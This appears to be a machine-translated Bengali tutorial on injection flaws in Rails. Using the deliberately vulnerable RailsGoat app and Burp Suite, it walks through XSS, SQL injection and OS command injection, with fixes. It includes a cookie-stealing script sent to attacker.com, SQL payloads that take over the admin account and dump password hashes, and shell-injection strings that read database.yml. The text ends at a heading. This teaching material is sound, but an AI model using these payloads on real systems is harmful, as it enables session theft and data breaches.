কম্পিউটার

রেল নিরাপত্তা হুমকি:ইনজেকশন

আপনি যদি ব্যবহারকারীর ডেটা নিয়ে কাজ করেন তবে আপনাকে নিশ্চিত করতে হবে যে এটি সুরক্ষিত। যাইহোক, আপনি যদি নিরাপত্তার ক্ষেত্রে নতুন হন, তাহলে এটা কঠিন, বিরক্তিকর এবং জটিল বলে মনে হতে পারে।

এই নিবন্ধটি একটি সিরিজের প্রথম যা আপনাকে সাধারণ ধরনের নিরাপত্তা দুর্বলতা এবং কীভাবে তারা রেলের উন্নয়নকে প্রভাবিত করে সে সম্পর্কে শেখাবে। আমরা এই ভূখণ্ডের মাধ্যমে আমাদের মানচিত্র হিসাবে OWASP শীর্ষ 10 ওয়েব অ্যাপ্লিকেশন নিরাপত্তা ঝুঁকি ব্যবহার করব৷

OWASP মানে Open Web Application Security Project এটি বিশেষজ্ঞদের একটি গ্রুপ যারা ওয়েবে গুরুত্বপূর্ণ নিরাপত্তা সমস্যা সম্পর্কে বিশ্বকে শিক্ষিত করার জন্য কাজ করে। তাদের শীর্ষ 10 তালিকা ওয়েব অ্যাপ্লিকেশনের সবচেয়ে সাধারণ দুর্বলতাগুলিকে গণনা করে:

  1. ইঞ্জেকশন
  2. ভাঙা প্রমাণীকরণ
  3. সংবেদনশীল ডেটা এক্সপোজার
  4. XML বাহ্যিক সত্তা (XXE)
  5. ভাঙা অ্যাক্সেস নিয়ন্ত্রণ
  6. নিরাপত্তা ভুল কনফিগারেশন
  7. ক্রস-সাইট স্ক্রিপ্টিং (XSS)
  8. নিরাপত্তাহীন ডিসিরিয়ালাইজেশন
  9. পরিচিত দুর্বলতা সহ উপাদান ব্যবহার করা
  10. অপ্রতুল লগিং এবং পর্যবেক্ষণ

যদিও তারা তালিকাটি নিয়মিত আপডেট করে, এটি আপনার প্রত্যাশার চেয়ে কম পরিবর্তিত হয়। নতুন প্রযুক্তি পুরানো সমস্যার উত্তরাধিকারী। এই অংশে, বিশেষত, আমরা ইনজেকশন সম্পর্কিত তিনটি বিষয় কভার করব:

  • জাভাস্ক্রিপ্ট ইনজেকশন - যখন অ্যাপ্লিকেশনগুলি তাদের ক্লায়েন্টদের থেকে ক্ষতিকারক ডেটা গ্রহণ করে, তখন ডেটা যাচাই/স্যানিটাইজ করবেন না এবং ব্রাউজারে ফেরত পাঠাবেন না৷
  • এসকিউএল ইনজেকশন - যখন এসকিউএল-এর টুকরোগুলি ইচ্ছাকৃতভাবে একটি ডাটাবেস প্রশ্নের অংশ হিসাবে একটি অনিরাপদ SQL দোভাষীর কাছে পাঠানো হয়, দোভাষীকে বিপজ্জনক কমান্ড চালানোর জন্য বা সংবেদনশীল তথ্য অ্যাক্সেস করার জন্য প্রতারণা করে।
  • ওএস ইনজেকশন - যখন আক্রমণকারীরা অরক্ষিত অ্যাপ্লিকেশনগুলিতে সিস্টেম কমান্ড চালানোর লক্ষ্য রাখে যা সিস্টেম কমান্ড থেকে ডেটা ইনপুট করে।

আমরা তত্ত্ব থেকে অনুশীলন করতে যাব সম্পূর্ণরূপে প্রদর্শন করতে যে তাদের প্রতিটি কীভাবে কাজ করে। তো, আসুন ডুবে যাই!

ইনজেকশনের হুমকি

আপনি যদি আপনার অ্যাপ্লিকেশনে ডেটার একটি উত্স পরিচালনা করেন, তাহলে আপনার এটির মধ্যে একটি সম্ভাব্য ইনজেকশন ভেক্টর রয়েছে। যখন আপনার অ্যাপস হ্যাক করার সৃজনশীল এবং উদ্ভাবনী উপায়ের কথা আসে, তখন হ্যাকাররা নতুন নতুন জিনিস উদ্ভাবন করে যা আপনাকে অবাক করবে।

ইনজেকশনের আক্রমণের বিশ্ব দিয়ে শুরু করা যাক। আপনি যদি মনে করেন আপনার অ্যাপ স্যানিটাইজড এবং সুরক্ষিত, আবার চিন্তা করুন।

জাভাস্ক্রিপ্ট ইনজেকশন

জাভাস্ক্রিপ্ট ইনজেকশন, যা সাধারণত ক্রস-সাইট স্ক্রিপ্টিং (এক্সএসএস) নামে পরিচিত, সবই হল ব্যাকএন্ড অ্যাপ্লিকেশন (যা ক্লায়েন্ট বিশ্বাস করে) কৌশলে দূষিত ডেটা এবং/অথবা স্ক্রিপ্টগুলি ব্রাউজারে ফেরত পাঠাতে।

যখন এটি ঘটে, আক্রমণকারীরা ব্যবহারকারীর ব্রাউজারে তার সেশন চুরি করতে স্ক্রিপ্ট চালাতে পারে, অ্যাপ্লিকেশনটির "নামে" সংবেদনশীল তথ্য চাইতে পারে, অথবা ব্যবহারকারীদের বিপজ্জনক ওয়েবসাইটগুলিতে পুনঃনির্দেশ করতে পারে৷

একটি উদাহরণ হিসাবে বিখ্যাত ব্লগ মন্তব্য বিভাগ নেওয়া যাক. কল্পনা করুন যে আপনার অ্যাপ্লিকেশনটি সম্পূর্ণভাবে দুর্বল এবং আপনার ব্লগে একটি নতুন মন্তব্যের জন্য একটি পোস্ট পেয়েছে, এবং মানটি কোন স্যানিটাইজেশন ছাড়াই সরাসরি ডাটাবেসে যায়:

POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>

যখন আপনার ওয়েবসাইট মন্তব্য বিভাগটি পুনরায় লোড করে, তখন এটি নতুন মন্তব্য আনবে, যা ব্রাউজারে প্রদত্ত স্ক্রিপ্টটি কার্যকর করবে৷

স্ক্রিপ্ট, যা অ্যাপ্লিকেশন পৃষ্ঠার মধ্যে চলে (সম্পূর্ণ গ্রহণযোগ্য), ব্যবহারকারীর কুকি তথ্য পায় এবং এটি সরাসরি আক্রমণকারীর সাইটে পাঠায়।

SQL ইনজেকশন

এসকিউএল ইনজেকশন ঘটে যখন একটি এসকিউএল ডাটাবেসের সাথে কাজ করে এমন একটি অ্যাপ্লিকেশন ব্যবহারকারীর ইনপুটকে নিরাপদে স্যানিটাইজ করে না যখনই এই ইনপুটটি আপনার যেকোনো প্রশ্নের সাথে সংযুক্ত (বা ইন্টারপোলেটেড) হয়।

এসকিউএল ইনজেকশনের সাথে জড়িত দুটি প্রধান হুমকি রয়েছে যা আপনি রেল জগতে সচেতন হতে পারেন:ইনজেকশন সংযোগ এবং ইন্টারপোলেশন . আসুন পার্থক্যগুলি পরীক্ষা করে দেখি৷

SQL ইনজেকশন সংযোগ সবচেয়ে বিখ্যাত; এটি ঘটে যখন আক্রমণকারী HTTP ক্যোয়ারী প্যারাম বা রিকোয়েস্ট বডির অংশ হিসাবে বিপজ্জনক SQL এর টুকরো পাঠায়। এটি এমন একটি কৌশল যা বেশিরভাগ ডাটাবেসের সাথে কাজ করে যদি আপনার অ্যাপ্লিকেশন স্তরগুলি এই ধরণের সামগ্রী সনাক্ত করতে এবং এটিকে স্যানিটাইজ করতে অক্ষম হয়৷

একটি উদাহরণ হিসাবে, কল্পনা করুন যে আপনি সংবেদনশীল তথ্য পুনরুদ্ধার করতে একজন ব্যবহারকারীকে তার ব্যবহারকারীর নাম দিয়ে জিজ্ঞাসা করছেন:

User.where("name = '#{userName}'")

সেই userName বিবেচনা করে নন-স্যানিটাইজড ইউজার ইনপুট, একজন আক্রমণকারী প্যারামের মান

তে পরিবর্তন করতে পারে
' OR '1'='1' --

ফলস্বরূপ, আপনার ক্যোয়ারী এতে রূপান্তরিত হবে:

SELECT * FROM users WHERE username = '' OR '1'='1';

যেহেতু সর্বশেষ যোগ করা শর্ত সর্বদা true এর সমান , এই ক্যোয়ারীটি সর্বদা কার্যকর করা হবে, আপনার ব্যবহারকারীদের থেকে শত শত সংবেদনশীল ডেটা প্রকাশ করবে৷

SQL ইন্টারপোলেশন ইনজেকশন হতে পারে। কিভাবে? আপনার কি মনে আছে স্কোপিং বৈশিষ্ট্য Rails' ActiveRecord এর? এটি আমাদেরকে এমন প্রশ্নগুলি নির্দিষ্ট করতে দেয় যা আপনি পদ্ধতি কল হিসাবে উল্লেখ করার জন্য অনেক ব্যবহার করেন (যেমন where , joins , এবং includes ) অ্যাসোসিয়েশন অবজেক্ট বা মডেলের উপর। এই উদাহরণটি নিন:

class User < ApplicationRecord
  scope :filtered_name, -> { where(name: interpolated_string) }
end

বাকিটা হয়তো আপনি অনুমান করেছেন। যদি একটি where থাকে ক্লজ যাতে একজন ডেভেলপার অ-স্যানিটাইজড ইনপুট মানগুলিকে একত্রিত করতে পারে, এটি আগের উদাহরণে প্রায় একই SQL ইনজেকশনের দিকে নিয়ে যাবে৷

OS ইনজেকশন

OS ইনজেকশনগুলি ঘটে যখন একটি অ্যাপ্লিকেশন ব্যবহারকারীদের সিস্টেম-স্তরের কমান্ড ইনপুট করার অনুমতি দেয় এবং সেগুলি ফিল্টার করে না৷

ফলাফলগুলি খুব বিপজ্জনক হতে পারে কারণ আক্রমণকারীর ওএসে একটি বিনামূল্যের টানেল থাকবে যেখানে অ্যাপ্লিকেশনটি চলছে৷ OS বেস সুরক্ষা স্তরগুলি কীভাবে সেট করা হয় তার উপর নির্ভর করে, এটি সেখানে চলমান অন্যান্য অ্যাপ্লিকেশনগুলির ডেটা এবং ফাইলগুলিও প্রকাশ করতে পারে৷

যখনই আপনি Rails codebases-এ নিম্নলিখিত কোড লাইনগুলির মধ্যে একটি দেখতে পান, সচেতন থাকুন যে সেখানে একটি OS ইনজেকশন ঘটতে পারে:

%x[...]
system()
exec()
`my command` // the backticks

নিম্নলিখিত রেল বাস্তবায়ন বিবেচনা করুন:

new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")

some_path দেওয়া ক্লায়েন্ট থেকে আসছে, একজন আক্রমণকারী নিম্নরূপ মান পাঠাতে পারে:

some_path = 'some/path; cat ./config/database.yml'

আপনি ঠিক ধরেছেন? শংসাপত্র সহ সমস্ত ডেটাবেস ডেটা (যদি সেগুলি একটি কনফিগার ক্লাউডে নিরাপদে সংরক্ষণ করা না হয়), আক্রমণকারীর কাছে প্রকাশ করা হবে৷

The RailsGoat প্রকল্প

কিছু সময় বাঁচাতে এবং স্ক্র্যাচ থেকে দুর্বল উদাহরণগুলির একটি গুচ্ছ তৈরি করা এড়াতে, ভাগ্যক্রমে, আমাদের কাছে RailsGoat প্রকল্প রয়েছে। এটি অফিশিয়াল OWASP GitHub রিপোজিটরি দ্বারা প্রদত্ত অগণিত ওপেন সোর্স প্রকল্পগুলির মধ্যে একটি (754 প্রকল্প), যা প্রধান 10টি দুর্বলতার সাথে রেলের জন্য তৈরি করা হয়েছে যা উদ্দেশ্যমূলকভাবে বিকাশকারীদের নিরাপত্তা হুমকির বিষয়ে শিক্ষিত করার জন্য প্রোগ্রাম করা হয়েছে৷

এই সিরিজে, আমরা প্রকল্পের নমুনাগুলি ব্যবহার করে ঝুঁকিগুলিকে আরও গভীরভাবে অন্বেষণ করব এবং আরও ভালভাবে কাজ করব!

সেটআপ

আপনি আরও এগিয়ে যাওয়ার আগে, এই প্রকল্পের কিছু প্রয়োজনীয় নির্ভরতা রয়েছে:রুবি, গিট, মাইএসকিউএল এবং পোস্টগ্রেস। আরও এগিয়ে যাওয়ার আগে সেগুলি আপনার মেশিনে ইনস্টল করা নিশ্চিত করুন৷

প্রকল্পটি সেট আপ করতে, প্রথমে স্থানীয়ভাবে ক্লোন করুন:

git clone https://github.com/OWASP/railsgoat.git

এটি রুবি 2.6.5-এ ডিফল্টরূপে টার্গেট করা হয়েছে, তাই আপনার যদি এখনও এটি না থাকে তবে সঠিক সংস্করণটি ইনস্টল করা নিশ্চিত করুন:

rvm install "ruby-2.6.5"

এর পরে, অ্যাপ রুট ফোল্ডারে নিম্নলিখিত কমান্ডগুলি ইস্যু করুন:

bundle install
rails db:setup
rails s

তারা যথাক্রমে রেল প্রকল্প নির্ভরতা ডাউনলোড এবং ইনস্টল করবে, ডাটাবেস সেট আপ করবে এবং রেল সার্ভার শুরু করবে।

কিছু ​​সামঞ্জস্য

আপনার OS এর উপর নির্ভর করে, এবং যেহেতু RailsGoatটি কিছুটা পুরানো (সর্বশেষ রিলিজটি মার্চ 2018 এ ছিল), install কমান্ড কিছু ত্রুটি তৈরি করতে পারে। আপনি যদি ম্যাকে থাকেন, উদাহরণস্বরূপ, এবং আপনার কনসোলে নিম্নলিখিত ত্রুটির সম্মুখীন হন:

রেল নিরাপত্তা হুমকি:ইনজেকশন libv8 সম্পর্কে কনসোল ত্রুটি

তারপর, কেবল প্রয়োজনীয় রত্নটি ইনস্টল করুন:

gem install libv8 -v '3.16.14.19' -- --with-system-v8

আরেকটি যেটিকে সম্ভবত দায়ী করা হবে তা হল therubyracer রুবির libv8-এর এই সংস্করণের সাথে জড়িত একটি ত্রুটির কারণে রত্ন . নিম্নলিখিত কমান্ডগুলি চালানো নিশ্চিত করুন:

brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15

ডিফল্টরূপে, বর্তমান সেটিংস SQLite কে ডিফল্ট ডাটাবেস বিবেচনা করবে। পরবর্তী উদাহরণের জন্য, যাইহোক, আমাদের একটি বাস্তব ডাটাবেস প্রয়োজন হবে। আমরা MySQL ব্যবহার করব।

প্রথমে config/database.yml, ফাইলটি খুলুন mysql সনাক্ত করুন নোড, এবং আপনার মাইএসকিউএল শংসাপত্র অনুসারে কনফিগারগুলি পরিবর্তন করুন। আপনি ডাটাবেসের নাম যেমন আছে রেখে দিতে পারেন।

রেল সার্ভার বন্ধ করুন, এবং MySQL আপ এবং চলমান আছে তা নিশ্চিত করুন; তারপর, নিম্নলিখিত কমান্ডগুলি চালান:

#Create the MySQL database
RAILS_ENV=mysql rails db:create

#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate

#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed

#Boot Rails using MySQl
RAILS_ENV=mysql rails s

বিকল্পভাবে, আপনি ডকারের মাধ্যমে RailsGoat শুরু করতে পারেন। এটা আপনার উপর নির্ভর করে!

এটাই! এখন, আপনি ব্রাউজারটি খুলতে পারেন এবং RailsGoat অ্যাপে লগ ইন করতে পারেন। আপনি টপবারের বোতাম "টিউটোরিয়াল শংসাপত্র" এ উপলব্ধ স্বয়ংক্রিয়-উত্পন্ন শংসাপত্রগুলি খুঁজে পেতে পারেন। একটি বেছে নিন, তবে নিশ্চিত করুন যে এটি অ্যাডমিন ব্যবহারকারী নয়৷

রেল নিরাপত্তা হুমকি:ইনজেকশন MetaCorp Rails অ্যাপ্লিকেশন

HTTP প্রক্সি সেটআপ

হ্যাকাররা স্টাফের চারপাশে শুঁকে কাজ করে, প্রধানত HTTP অনুরোধ এবং প্রতিক্রিয়া। তারা HTTP প্রক্সি অ্যাপ্লিকেশানগুলি ব্যবহার করে যা ব্রাউজার এবং সার্ভারের মধ্যে চালনা করে, অনুরোধ এবং প্রতিক্রিয়াগুলিকে বাধা, ভিজ্যুয়ালাইজ এবং সংশোধন করে৷

এই সিরিজের জন্য, আমাদেরও এর মধ্যে একটির প্রয়োজন হবে এবং কাজের জন্য নিখুঁত টুল হল Burp। এটি একটি এন্টারপ্রাইজ প্রদেয়-সরঞ্জাম, কিন্তু বিনামূল্যে সম্প্রদায় সংস্করণ আমাদের উদ্দেশ্যে পর্যাপ্ত নয়। সুতরাং, এগিয়ে যান, অফিসিয়াল নির্দেশাবলী অনুসরণ করে এটি ডাউনলোড করুন এবং ইনস্টল করুন৷

মনে রাখবেন যে Burp জাভা দিয়ে তৈরি, তাই আপনাকে জাভা ইনস্টল করতে হবে।

এটি সঠিকভাবে কাজ করার জন্য এই নির্দেশাবলী অনুসরণ করা নিশ্চিত করুন। টুলটি খোলা হয়ে গেলে, প্রক্সি> ইন্টারসেপ্ট-এ যান ট্যাব, বোতামটি টগল করুন "ইন্টারসেপ্ট চালু আছে৷ " এবং তারপরে "ব্রাউজার খুলুন৷ "। এটি বার্পের সাথে সরাসরি সংযুক্ত একটি Google Chromium খুলবে এবং আমাদের অনুরোধ/প্রতিক্রিয়াগুলি শুঁকতে অনুমতি দেবে৷

সেখানে কিছু টাইপ করুন এবং বার্প কীভাবে জিনিসগুলি ট্র্যাক করে তা দেখুন৷

থ্রেটস ইন অ্যাকশন

আসুন এখন দেখা যাক কিভাবে আমরা আগে আলোচনা করেছি প্রতিটি হুমকি বাস্তব-বিশ্বের পরিস্থিতিতে সংঘটিত হয়। আমরা জাভাস্ক্রিপ্ট ইনজেকশন দিয়ে শুরু করব।

অ্যাকশনে জাভাস্ক্রিপ্ট ইনজেকশন

RailsGoat অ্যাপে, _header.html.erb খুলুন ফাইলটি দর্শন/লেআউট/ভাগ করা-এ অবস্থিত ফোল্ডার আপনি নিম্নলিখিত HTML স্নিপেটের সম্মুখীন হতে পারেন:

<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>

ঠিক আছে, দেখা যাচ্ছে যে এই রেল পদ্ধতিটি একটি নিরাপদ নামের জন্য কল করে, যা নয়। এটি বলে যে স্ট্রিংটি নিরাপদ হিসাবে বিশ্বস্ত কিনা কিন্তু ব্যবহারকারীর ইনপুটকে স্যানিটাইজ করে না৷

নিশ্চিত করুন যে Burp চলছে না, এবং তারপর রেজিস্ট্রেশন পৃষ্ঠায় যান এবং "প্রথম নাম" ক্ষেত্রে নিম্নলিখিতটি টাইপ করুন:

<script>alert("hello, XSS!")</script>

নিবন্ধন শেষ করুন এবং নতুন তৈরি ব্যবহারকারীর সাথে লগইন করুন। আপনি দেখতে পারেন নেভিগেশন বার প্রদর্শিত হচ্ছে "Welcome " + the script code .

কিভাবে এটি সমাধান করবেন

এটি একটি সাধারণ ভুল বোঝাবুঝি। বিকাশকারীরা সাধারণত এই পদ্ধতিটি ব্যবহার করে তবে এটি ডেটা সুরক্ষিত করে না। পরিবর্তে, আপনাকে অবশ্যই sanitize ব্যবহার করতে হবে যখনই আপনাকে স্পষ্টভাবে HTML রেন্ডার করতে হবে।

উদাহরণে, শুধু .html_safe সরান , এবং আক্রমণ নির্মূল করা হবে৷

আপনার প্রকল্পগুলিতে সোনারকিউবের মতো সরঞ্জামগুলি অন্তর্ভুক্ত করা একটি ভাল টিপ হবে। এই টুলগুলি উপরের মত সাধারণ হুমকি শনাক্ত করে এবং ডেভেলপারদের বিপদ সম্পর্কে সতর্ক করে এবং কীভাবে সেগুলি ঠিক করা যায়৷

শুধুমাত্র বিকাশকারীর স্মৃতির উপর নির্ভর করা ভাল ধারণা নয়৷

SQL ইনজেকশন:একটি সংযুক্তি উদাহরণ

আমাদের RailsGoat SQL ইনজেকশন উদাহরণ users_controller.rb-এর মধ্যে থাকে , অ্যাপ/কন্ট্রোলারের ভিতরে ফোল্ডার এটি খুলুন এবং এর বিষয়বস্তু পর্যালোচনা করুন৷

আপনি ডাটাবেসের মধ্যে ব্যবহারকারীর ডেটা তৈরি এবং আপডেট করার দুটি প্রধান পদ্ধতি দেখতে পারেন। আপনি কি আমাদের update এর সাথে কিছু ভুল সনাক্ত করতে পারেন পদ্ধতি? যান, চেষ্টা করে দেখুন!

এখানে এটি যায়:

user = User.where("id = '#{params[:user][:id]}'")[0]

আপনি জানেন যে একটি যেখানে ধারার মধ্যে জিনিসগুলি সংযুক্ত করা ঠিক নয়। তবে, হ্যাকিং এর সমাধান করার আগে এর সম্ভাবনা পরীক্ষা করা যাক।

Burp Chromium ব্রাউজারে চলমান অ্যাপে ফিরে যান এবং অ্যাকাউন্ট সেটিংসে নেভিগেট করুন মেনু:

রেল নিরাপত্তা হুমকি:ইনজেকশন

অ্যাকাউন্ট সেটিংস অ্যাক্সেস করা

সেখানে একবার, Burp টুল খুলুন এবং নিশ্চিত করুন যে বোতামটি "ইন্টারসেপ্ট চালু আছে৷ " টগল করা হয়েছে৷ তারপর, কিছু মান দিয়ে পাসওয়ার্ড ক্ষেত্রগুলি পূরণ করুন এবং জমা দিন ক্লিক করুন .

Burp অনুরোধটি বাধা দেবে, এবং Params-এর মধ্যে ট্যাব, আপনি নীচের দেখানো মত কিছু দেখতে পারেন.

রেল নিরাপত্তা হুমকি:ইনজেকশন বার্প স্যুট টুল - প্যারামস ট্যাব

হ্যাঁ, আপনার অনুরোধের সমস্ত প্যারাম এখানে দৃশ্যমান। এগুলি কেবল দৃশ্যমান নয় সম্পাদনযোগ্যও। আপনি সম্পাদনা শেষ না করা পর্যন্ত Burp আপনার অনুরোধ ধরে রাখবে এবং তারপর এটি সার্ভারে ছেড়ে দেবে।

আপনি আপনার প্রতিক্রিয়াগুলির জন্য একই কাজ করতে পারেন৷

চমৎকার, তাই, অ্যাপ্লিকেশন কৌশল করা যাক. আমাদের লক্ষ্য বর্তমান লগ-ইন ব্যবহারকারীর পরিবর্তে অ্যাডমিন ব্যবহারকারীর পাসওয়ার্ড আপডেট করা।

প্রথমে আপনাকে ব্যবহারকারীর email সরাতে হবে , first_name , এবং last_name params কারণ আমরা অ্যাডমিন ব্যবহারকারীর জন্য এই মানগুলি পরিবর্তন করার লক্ষ্য রাখি না।

দ্বিতীয়ত, আপনি user[id] সম্পাদনা করতে পারেন প্যারাম মান নিম্নলিখিত:

0') OR admin = true -- '

এখানে কি হচ্ছে? উপরে-প্রদর্শিত মান 6 বর্তমান লগ করা ব্যবহারকারী আইডি বোঝায়। যাইহোক, আমরা এই ব্যবহারকারীর সাথে সম্পর্কিত কিছু পরিবর্তন করতে চাই না, শুধুমাত্র প্রশাসক। শূন্য কারো সাথে সম্পর্কযুক্ত নয়, যেটি OR এর পরের অবস্থা থেকে ভালো এটা আমাদের কাছে গুরুত্বপূর্ণ।

আমরা প্রশাসকের আইডি জানি না তা বিবেচনা করে (ভাল, যদি আপনি জানেন, এটি কিছু সময় বাঁচবে), আমাদের ডাটাবেসটিকে admin এর মাধ্যমে নির্বাচন করতে কৌশল করতে হবে ভূমিকা কলাম।

একবার আপনি সম্পাদনা শেষ করলে, ফরোয়ার্ড এ ক্লিক করুন বোতাম যাতে রিকোয়েস্ট রিলিজ হয় এবং অ্যাডমিনের পাসওয়ার্ড আপডেট হয়।

এটি এসকিউএল রেলগুলি তৈরি করবে:

SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')

এখন, এগিয়ে যান এবং আপনার নতুন পাসওয়ার্ড দিয়ে অ্যাডমিন অ্যাকাউন্টে লগ ইন করুন৷

কিভাবে এটি সমাধান করবেন

এটি সমাধান করার জন্য কিছু নিরাপদ উপায় আছে। ক্লায়েন্টের অনুরোধ থেকে যা আসে তা নির্বিশেষে, আপডেট হওয়ার আগে আপনি সর্বদা ডেটাবেস থেকে ব্যবহারকারীকে পুনরুদ্ধার করতে পারেন৷

যাইহোক, এটি বিকাশকারীর কোডিং শৈলীর উপর নির্ভর করে, যা সর্বদা নিশ্চিত নয়৷

সুতরাং, এটি উদ্ধারের জন্য প্যারামিটারাইজড ডাটাবেস প্রশ্ন! দেখা যাক:

user = User.where("id = ?", params[:user][:id])[0]

এটা ঐটার মতই সহজ! আর হ্যাকিং নেই।

SQL ইনজেকশন:একটি ইন্টারপোলেশন উদাহরণ

RailsGoat-এ, প্রতিটি অনুরোধ একটি অডিটিং বৈশিষ্ট্য হিসাবে ডাটাবেসে সংরক্ষণ করা হয়। এই উদাহরণের জন্য, আসুন analytics.rb বিশ্লেষণ করি ক্লাস, যা hits_by_ip নামে একটি সুযোগ সঞ্চয় করে . এটি একটি অ্যাডমিন বৈশিষ্ট্য যা ডাটাবেস থেকে অনুরোধের ডেটা তালিকাভুক্ত করে৷

এই মডেলটি কীভাবে তার সুযোগের মধ্যে স্ট্রিংগুলিকে ইন্টারপোলেট করে তা দেখুন:

scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }

যাইহোক, এই পদ্ধতি বিপজ্জনক! দেখা যাক কেন। যেহেতু আপনি একজন সাধারণ ব্যবহারকারী হিসাবে লগ ইন করেছেন, তাই কিছু মেনু প্রদর্শিত হবে না, কিন্তু এর অর্থ এই নয় যে তাদের শেষ পয়েন্টগুলি উপলব্ধ নেই৷ সুতরাং, এগিয়ে যান এবং https://localhost:3000/admin/1/analytics ঠিকানা অ্যাক্সেস করুন৷

যেহেতু আমরা লোকালহোস্ট লেভেলে কাজ করছি, আপনি শুধুমাত্র 127.0.0.1 এর অধীনে ডেটা পাবেন আইপি যাইহোক, উৎপাদনে, আপনি আপনার ক্লায়েন্ট আইপি অনুসন্ধান করবেন।

তাই, 127.0.0.1 টাইপ করুন "IP দ্বারা অনুসন্ধান করুন তে " টেক্সটবক্স এবং এন্টার টিপুন৷ আপনার বার্প টুলে ইন্টারসেপ্ট বোতামটি চালু করতে ভুলবেন না৷

একবার আপনি পরম এ ট্যাবে, আপনি যোগ করুন ক্লিক করতে পারেন URL-এর একটি নতুন প্যারাম যোগ করতে বোতাম টাইপ করুন এবং এটিকে নিম্নলিখিত নাম দিন:

field[(select+group_concat(password)+from+users+where+admin=true)]

যেহেতু স্কোপ একটি ইন্টারপোলেটেড স্ট্রিং গ্রহণ করে, আপনি কেবল আপনার পছন্দ মতো নির্বাচন ক্যোয়ারীতে যতগুলি নিয়ম যুক্ত করতে পারেন। এই প্রশ্নটি, বিশেষভাবে, এতে পরিণত হবে:

SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;

এর মানে হল আমরা ডাটাবেস থেকে অ্যাডমিন হ্যাশ করা পাসওয়ার্ড পুনরুদ্ধার করছি এবং এটি সরাসরি আমাদের দৃষ্টিতে প্রদর্শন করছি:

রেল নিরাপত্তা হুমকি:ইনজেকশন প্রশাসকের হ্যাশ করা পাসওয়ার্ডের জন্য জিজ্ঞাসা করা হচ্ছে

কিভাবে এটি সমাধান করবেন?

সর্বপ্রথম, নিশ্চিত করুন যে আপনার ব্যবহারকারীদের শুধুমাত্র যা অ্যাক্সেস করতে হবে তাতেই অ্যাক্সেস থাকবে। এই ধরনের শেষ পয়েন্টগুলি অ্যাক্সেসযোগ্য বা অরক্ষিত হওয়া উচিত নয়৷

আরেকটি প্রতিরোধমূলক পদ্ধতি হিসাবে, আপনি যে মানগুলি গ্রহণ করা উচিত সেগুলিকে সাদা তালিকাভুক্ত করতে পারেন এবং যেগুলি উচিত নয় সেগুলিকে সীমাবদ্ধ করতে পারেন। parse_field দেখুন একই মডেল শ্রেণীর মধ্যে পদ্ধতি। প্রদত্ত ক্ষেত্রটি হোয়াইটলিস্ট অ্যারের মধ্যে অন্তর্ভুক্ত কিনা তা যাচাই করে৷

সুতরাং, মডেলের স্কোপ কল করার আগে, আপনি প্যারামগুলির উপর পুনরাবৃত্তি করতে পারেন এবং পরীক্ষা করতে পারেন যে তারা যেতে ঠিক আছে কিনা। চলুন admin_controller.rb এর 18 নম্বর লাইন আপডেট করে এটি করি (যা সুযোগ কল):

fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")

অ্যাকশনে OS ইনজেকশন

আসুন RailsGoat-এর মধ্যে OS ইনজেকশনের একটি উদাহরণ অন্বেষণ করি। benefits.rb খুলুন অ্যাপ/মডেল এর অধীনে মডেল ফোল্ডার এবং এর make_backup চেক আউট করুন পদ্ধতি।

এই পদ্ধতিটি একটি ফাইলের একটি ব্যাকআপ কপি তৈরি করে যা “বেনিফিট ফর্মের মাধ্যমে আপলোড করা হচ্ছে ” আবেদনের বিভাগ। এখানে কোন সমস্যা আছে বলে মনে হয় না, পদ্ধতিটি একটি system ব্যবহার করে। কমান্ড:

silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }

এটি প্রথম দর্শনে সঠিক বলে মনে হচ্ছে, কিন্তু আবার দেখুন। আমরা ব্যবহারকারীর ইনপুট থেকে অন্যান্য সিস্টেম কমান্ডগুলিকে নিখুঁতভাবে যুক্ত করতে পারি এবং সেগুলি ঠিকঠাক চলবে, যেমন একটি ফাইল তৈরি করা৷

অপেক্ষা করুন, এটি একটি ফাইল আপলোড করার বৈশিষ্ট্য; আমরা কিভাবে একটি ফাইলের ইনপুট আপডেট করতে পারি? চলুন এটি কর্মে দেখা যাক।

RailsGoat অ্যাপে ফিরে যান, "বেনিফিট ফর্ম" মেনুতে ক্লিক করুন, আপনার পছন্দের একটি ফাইল বেছে নিন এবং আপনার Burp ইন্টারসেপ্ট বোতামটি চালু করুন। তারপর, আপলোড শুরু করুন ক্লিক করুন৷ .

যখন অনুরোধটি আটকে দেওয়া হয়, আপনি নীচে দেখানো হিসাবে এটির শিরোনাম বিষয়বস্তু দেখতে সক্ষম হবেন৷

রেল নিরাপত্তা হুমকি:ইনজেকশন ফাইল আপলোডিং বাধাপ্রাপ্ত

ছবিতে, আপনি দুটি হাইলাইট করা প্যারাম দেখতে পাচ্ছেন:benefits[backup] এবং benefits[upload] .

আমাদের প্রথমটির মানটিকে true এ পরিবর্তন করতে হবে যেহেতু আমরা সেই প্রবাহকে সক্রিয় করতে চাই যা ফাইলের ব্যাকআপ তৈরি করে এবং সেইজন্য যেখানে দুর্বলতা বিদ্যমান।

এরপর, filename পরিবর্তন করুন নিম্নলিখিত আপনার দ্বিতীয় প্যারামের সম্পত্তি:

filename="kid-2.png;+touch+abc.txt"

তারপরে, ইন্টারসেপ্ট বোতামটি ছেড়ে দিন। এটি সম্পাদনের শেষে একটি নতুন কমান্ডে অনুবাদ করবে, যা abc.txt নামে একটি নতুন ফাইল তৈরি করে। . সহজ হওয়ার পাশাপাশি, এটি আপনার প্রবাহ কতটা দুর্বল হতে পারে এবং এটি হ্যাকারদের জন্য উপযুক্ত খেলার মাঠ কিনা তার একটি ভাল উদাহরণ৷

OS ইনজেকশনের বিরুদ্ধে সুরক্ষা

